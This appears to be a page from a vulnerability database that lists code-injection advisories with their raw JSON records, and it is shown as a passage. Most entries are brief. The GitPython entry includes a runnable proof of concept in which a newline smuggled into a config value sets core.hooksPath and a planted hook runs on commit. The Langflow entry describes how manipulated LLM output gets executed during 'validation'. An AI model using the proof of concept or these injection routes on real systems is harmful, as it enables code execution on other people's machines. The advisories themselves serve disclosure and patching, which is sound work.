CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8335 vulnerabilities reference this CWE, most recent first.
GHSA-V7CP-2P68-GP8H
Vulnerability from github – Published: 2024-10-25 18:30 – Updated: 2024-10-29 21:30An issue in Total.js CMS v.1.0 allows a remote attacker to execute arbitrary code via the func.js file.
{
"affected": [],
"aliases": [
"CVE-2024-48655"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-25T17:15:04Z",
"severity": "HIGH"
},
"details": "An issue in Total.js CMS v.1.0 allows a remote attacker to execute arbitrary code via the func.js file.",
"id": "GHSA-v7cp-2p68-gp8h",
"modified": "2024-10-29T21:30:48Z",
"published": "2024-10-25T18:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48655"
},
{
"type": "WEB",
"url": "https://github.com/totaljs/cms/issues/49"
},
{
"type": "WEB",
"url": "https://medium.com/%400x0d0x0a/cve-2024-48655-server-side-javascript-code-injection-in-total-js-cms-c5fc18359bdc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V7MH-3JGF-R26C
Vulnerability from github – Published: 2022-05-17 01:42 – Updated: 2024-02-06 16:02OpenStack Object Storage (swift) before 1.7.0 uses the loads function in the pickle Python module unsafely when storing and loading metadata in memcached, which allows remote attackers to execute arbitrary code via a crafted pickle object.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "swift"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2012-4406"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-08T17:56:11Z",
"nvd_published_at": "2012-10-22T23:55:00Z",
"severity": "CRITICAL"
},
"details": "OpenStack Object Storage (swift) before 1.7.0 uses the loads function in the pickle Python module unsafely when storing and loading metadata in memcached, which allows remote attackers to execute arbitrary code via a crafted pickle object.",
"id": "GHSA-v7mh-3jgf-r26c",
"modified": "2024-02-06T16:02:43Z",
"published": "2022-05-17T01:42:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4406"
},
{
"type": "WEB",
"url": "https://github.com/openstack/swift/commit/e1ff51c04554d51616d2845f92ab726cb0e5831a"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2012:1379"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2013:0691"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2012-4406"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/swift/+bug/1006414"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=854757"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/79140"
},
{
"type": "WEB",
"url": "https://launchpad.net/swift/+milestone/1.7.0"
},
{
"type": "PACKAGE",
"url": "https://opendev.org/openstack/swift"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20130629092623/http://www.securityfocus.com/bid/55420"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2012-October/089472.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2012-1379.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-0691.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/09/05/16"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/09/05/4"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/55420"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenStack Object Storage (swift) Code Injection vulnerability"
}
GHSA-V7P7-P2FQ-44FH
Vulnerability from github – Published: 2024-10-26 00:32 – Updated: 2024-10-29 21:30An issue in ofcms 1.1.2 allows a remote attacker to execute arbitrary code via the save method of the TemplateController.java file.
{
"affected": [],
"aliases": [
"CVE-2024-48235"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-25T22:15:02Z",
"severity": "MODERATE"
},
"details": "An issue in ofcms 1.1.2 allows a remote attacker to execute arbitrary code via the save method of the TemplateController.java file.",
"id": "GHSA-v7p7-p2fq-44fh",
"modified": "2024-10-29T21:30:48Z",
"published": "2024-10-26T00:32:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48235"
},
{
"type": "WEB",
"url": "https://gitee.com/oufu/ofcms/issues/IASIES"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V7VW-QWR3-VGR4
Vulnerability from github – Published: 2024-10-12 09:30 – Updated: 2024-10-12 09:30The Stackable – Page Builder Gutenberg Blocks plugin for WordPress is vulnerable to CSS Injection in all versions up to, and including, 3.13.6. This makes it possible for unauthenticated attackers to embed untrusted style information into comments resulting in a possibility of data exfiltration such as admin nonces with limited impact. These nonces could be used to perform CSRF attacks within a limited time window. The presence of other plugins may make additional nonces available, which may pose a risk in plugins that don't perform capability checks to protect AJAX actions or other actions reachable by lower-privileged users.
{
"affected": [],
"aliases": [
"CVE-2024-8760"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-12T09:15:02Z",
"severity": "MODERATE"
},
"details": "The Stackable \u2013 Page Builder Gutenberg Blocks plugin for WordPress is vulnerable to CSS Injection in all versions up to, and including, 3.13.6. This makes it possible for unauthenticated attackers to embed untrusted style information into comments resulting in a possibility of data exfiltration such as admin nonces with limited impact. These nonces could be used to perform CSRF attacks within a limited time window. The presence of other plugins may make additional nonces available, which may pose a risk in plugins that don\u0027t perform capability checks to protect AJAX actions or other actions reachable by lower-privileged users.",
"id": "GHSA-v7vw-qwr3-vgr4",
"modified": "2024-10-12T09:30:30Z",
"published": "2024-10-12T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8760"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3158674%40stackable-ultimate-gutenberg-blocks%2Ftrunk\u0026old=3156448%40stackable-ultimate-gutenberg-blocks%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1fd0b13c-7447-45da-9608-80b7629d9bbf?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V7W5-9782-QX92
Vulnerability from github – Published: 2022-05-02 03:21 – Updated: 2022-05-02 03:21Sun Java System Identity Manager (IdM) 7.0 through 8.0 on Linux, AIX, Solaris, and HP-UX permits "control characters" in the passwords of user accounts, which allows remote attackers to execute arbitrary commands via vectors involving "resource adapters."
{
"affected": [],
"aliases": [
"CVE-2009-1083"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-03-25T15:30:00Z",
"severity": "HIGH"
},
"details": "Sun Java System Identity Manager (IdM) 7.0 through 8.0 on Linux, AIX, Solaris, and HP-UX permits \"control characters\" in the passwords of user accounts, which allows remote attackers to execute arbitrary commands via vectors involving \"resource adapters.\"",
"id": "GHSA-v7w5-9782-qx92",
"modified": "2022-05-02T03:21:31Z",
"published": "2022-05-02T03:21:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1083"
},
{
"type": "WEB",
"url": "http://blogs.sun.com/security/entry/sun_alert_253267_sun_java"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34380"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1021881"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-21-140935-01-1"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-66-253267-1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34191"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/0797"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V838-25WW-859R
Vulnerability from github – Published: 2022-05-17 05:35 – Updated: 2022-05-17 05:35CoreMedia in Apple Mac OS X through 10.6.8 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted QuickTime movie file.
{
"affected": [],
"aliases": [
"CVE-2011-0224"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-10-14T10:55:00Z",
"severity": "MODERATE"
},
"details": "CoreMedia in Apple Mac OS X through 10.6.8 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted QuickTime movie file.",
"id": "GHSA-v838-25ww-859r",
"modified": "2022-05-17T05:35:54Z",
"published": "2022-05-17T05:35:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0224"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/Security-announce/2011//Oct/msg00003.html"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT5002"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/50085"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/50095"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V87R-6Q3F-2J67
Vulnerability from github – Published: 2026-05-06 21:58 – Updated: 2026-05-08 21:52GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.
This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.
PoC (standalone, no MLRun required):
import git, subprocess, os
repo = git.Repo("/tmp/testrepo")
with repo.config_writer() as cw:
cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")
r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip()) # /tmp/hooks
os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)
repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read()) # uid=...
Tested on GitPython 3.1.46, git 2.39+.
Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.
Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:
import re
if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
raise ValueError("Git config values must not contain CR, LF, or NUL")
Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.48"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.49"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44244"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T21:58:00Z",
"nvd_published_at": "2026-05-07T19:16:02Z",
"severity": "HIGH"
},
"details": "`GitConfigParser.set_value()` passes values to Python\u0027s `configparser` without validating for newlines. GitPython\u0027s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]` stanza as a section header \u2014 so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0027s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0027s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary \u2014 they are caller-supplied API inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer() as cw:\n cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\", capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip()) # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\", \"w\").write(\"#!/bin/sh\\nid \u003e /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\", 0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read()) # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.\n\nRemediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\", str(value)):\n raise ValueError(\"Git config values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than stripping \u2014 a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others \u2014 worth auditing their `set_value()` call sites for externally influenced inputs.",
"id": "GHSA-v87r-6q3f-2j67",
"modified": "2026-05-08T21:52:28Z",
"published": "2026-05-06T21:58:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44244"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath"
}
GHSA-V886-52JC-G2J8
Vulnerability from github – Published: 2022-05-01 23:27 – Updated: 2022-05-01 23:27Unspecified vulnerability in Microsoft Excel 2000 SP3 through 2003 SP2, Viewer 2003, and Office for Mac 2004 allows user-assisted remote attackers to execute arbitrary code via crafted Style records that trigger memory corruption.
{
"affected": [],
"aliases": [
"CVE-2008-0114"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-11T23:44:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in Microsoft Excel 2000 SP3 through 2003 SP2, Viewer 2003, and Office for Mac 2004 allows user-assisted remote attackers to execute arbitrary code via crafted Style records that trigger memory corruption.",
"id": "GHSA-v886-52jc-g2j8",
"modified": "2022-05-01T23:27:40Z",
"published": "2022-05-01T23:27:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0114"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-014"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5456"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=120585858807305\u0026w=2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28166"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1019584"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA08-071A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/0846/references"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V8HW-MH8C-JXFC
Vulnerability from github – Published: 2026-03-26 18:31 – Updated: 2026-06-06 00:56Description
1. Summary
The Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side.
In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution.
2. Description
2.1 Intended Functionality
The Agentic Assistant endpoints are designed to help users generate and validate components for a flow. Users can submit requests to the assistant, which returns candidate component code for further processing.
A reasonable security expectation is that validation should treat model output as untrusted text and perform only static or side-effect-free checks.
The externally reachable endpoints are:
The request model accepts attacker-influenceable fields such as input_value, flow_id, provider, model_name, session_id, and max_retries:
2.2 Root Cause
In the affected code path, Langflow processes model output through the following chain:
/assist
→ execute_flow_with_validation()
→ execute_flow_file()
→ LLM returns component code
→ extract_component_code()
→ validate_component_code()
→ create_class()
→ generated class is instantiated
The assistant service reaches the validation path here:
The code extraction step occurs here:
The validation entry point is here:
The issue is that this validation path is not purely static. It ultimately invokes create_class() in lfx.custom.validate, where Python code is dynamically executed via exec(...), including both global-scope preparation and class construction.
As a result, LLM-generated code is treated as executable Python rather than inert data. This means the “validation” step crosses a trust boundary and becomes an execution sink.
The streaming path can also reach this sink when the request is classified into the component-generation branch:
3. Proof of Concept (PoC)
- Send a request to the Agentic Assistant endpoint.
- Provide input that causes the model to return malicious component code.
- The returned code reaches the validation path.
- During validation, the server dynamically executes the generated Python.
- Arbitrary server-side code execution occurs.
4. Impact
- Attackers who can access the Agentic Assistant feature and influence model output may execute arbitrary Python code on the server.
-
This can lead to:
-
OS command execution
- file read/write
- credential or secret disclosure
- full compromise of the Langflow process
5. Exploitability Notes
This issue is most accurately described as an authenticated or feature-reachable code execution vulnerability, rather than an unconditional unauthenticated remote attack.
Severity depends on deployment model:
- In local-only, single-user development setups, the issue may be limited to self-exposure by the operator.
- In shared, team, or internet-exposed deployments, it may be exploitable by other users or attackers who can reach the assistant feature.
The assistant feature depends on an active user context:
Authentication sources include bearer token, cookie, or API key:
Default deployment settings may widen exposure, including AUTO_LOGIN=true and the /api/v1/auto_login endpoint:
6. Patch Recommendation
- Remove all dynamic execution from the validation path.
- Ensure validation is strictly static and side-effect-free.
- Treat all LLM output as untrusted input.
- If code generation must be supported, require explicit approval and run it in a hardened sandbox isolated from the main server process.
Discovered by: @kexinoh (https://github.com/kexinoh, works at Tencent Zhuque Lab)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.1"
},
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33873"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:31:36Z",
"nvd_published_at": "2026-03-27T21:17:23Z",
"severity": "CRITICAL"
},
"details": "## Description\n\n### 1. Summary\n\nThe Agentic Assistant feature in Langflow executes LLM-generated Python code during its **validation** phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side.\n\nIn deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution.\n\n### 2. Description\n\n#### 2.1 Intended Functionality\n\nThe Agentic Assistant endpoints are designed to help users generate and validate components for a flow. Users can submit requests to the assistant, which returns candidate component code for further processing.\n\nA reasonable security expectation is that validation should treat model output as **untrusted text** and perform only static or side-effect-free checks.\n\nThe externally reachable endpoints are:\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/api/router.py#L252-L297](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/api/router.py#L252-L297)\n\nThe request model accepts attacker-influenceable fields such as `input_value`, `flow_id`, `provider`, `model_name`, `session_id`, and `max_retries`:\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/api/schemas.py#L20-L31](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/api/schemas.py#L20-L31)\n\n#### 2.2 Root Cause\n\nIn the affected code path, Langflow processes model output through the following chain:\n\n`/assist`\n\u2192 `execute_flow_with_validation()`\n\u2192 `execute_flow_file()`\n\u2192 LLM returns component code\n\u2192 `extract_component_code()`\n\u2192 `validate_component_code()`\n\u2192 `create_class()`\n\u2192 generated class is instantiated\n\nThe assistant service reaches the validation path here:\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L58-L79](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L58-L79)\n\nThe code extraction step occurs here:\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/helpers/code_extraction.py#L11-L53](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/helpers/code_extraction.py#L11-L53)\n\nThe validation entry point is here:\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/helpers/validation.py#L27-L47](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/helpers/validation.py#L27-L47)\n\nThe issue is that this validation path is not purely static. It ultimately invokes `create_class()` in `lfx.custom.validate`, where Python code is dynamically executed via `exec(...)`, including both global-scope preparation and class construction.\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/custom/validate.py#L241-L272](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/custom/validate.py#L241-L272)\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/custom/validate.py#L394-L399](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/custom/validate.py#L394-L399)\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/custom/validate.py#L441-L443](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/custom/validate.py#L441-L443)\n\nAs a result, LLM-generated code is treated as executable Python rather than inert data. This means the \u201cvalidation\u201d step crosses a trust boundary and becomes an execution sink.\n\nThe streaming path can also reach this sink when the request is classified into the component-generation branch:\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L142-L156](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L142-L156)\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L259-L300](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L259-L300)\n\n### 3. Proof of Concept (PoC)\n\n1. Send a request to the Agentic Assistant endpoint.\n2. Provide input that causes the model to return malicious component code.\n3. The returned code reaches the validation path.\n4. During validation, the server dynamically executes the generated Python.\n5. Arbitrary server-side code execution occurs.\n\n### 4. Impact\n\n* Attackers who can access the Agentic Assistant feature and influence model output may execute arbitrary Python code on the server.\n* This can lead to:\n\n * OS command execution\n * file read/write\n * credential or secret disclosure\n * full compromise of the Langflow process\n\n### 5. Exploitability Notes\n\nThis issue is most accurately described as an **authenticated or feature-reachable code execution vulnerability**, rather than an unconditional unauthenticated remote attack.\n\nSeverity depends on deployment model:\n\n* In **local-only, single-user development setups**, the issue may be limited to self-exposure by the operator.\n* In **shared, team, or internet-exposed deployments**, it may be exploitable by other users or attackers who can reach the assistant feature.\n\nThe assistant feature depends on an active user context:\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/api/utils/core.py#L38](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/api/utils/core.py#L38)\n\nAuthentication sources include bearer token, cookie, or API key:\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/services/auth/utils.py#L39-L53](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/services/auth/utils.py#L39-L53)\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/services/auth/utils.py#L156-L163](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/services/auth/utils.py#L156-L163)\n\nDefault deployment settings may widen exposure, including `AUTO_LOGIN=true` and the `/api/v1/auto_login` endpoint:\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/services/settings/auth.py#L71-L87](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/services/settings/auth.py#L71-L87)\n\n[https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/api/v1/login.py#L96-L135](https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/api/v1/login.py#L96-L135)\n\n### 6. Patch Recommendation\n\n* Remove all dynamic execution from the validation path.\n* Ensure validation is strictly static and side-effect-free.\n* Treat all LLM output as untrusted input.\n* If code generation must be supported, require explicit approval and run it in a hardened sandbox isolated from the main server process.\n\nDiscovered by: @kexinoh ([https://github.com/kexinoh](https://github.com/kexinoh), works at Tencent Zhuque Lab)",
"id": "GHSA-v8hw-mh8c-jxfc",
"modified": "2026-06-06T00:56:57Z",
"published": "2026-03-26T18:31:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-v8hw-mh8c-jxfc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33873"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-82.yaml"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/services/settings/auth.py#L71-L87"
},
{
"type": "WEB",
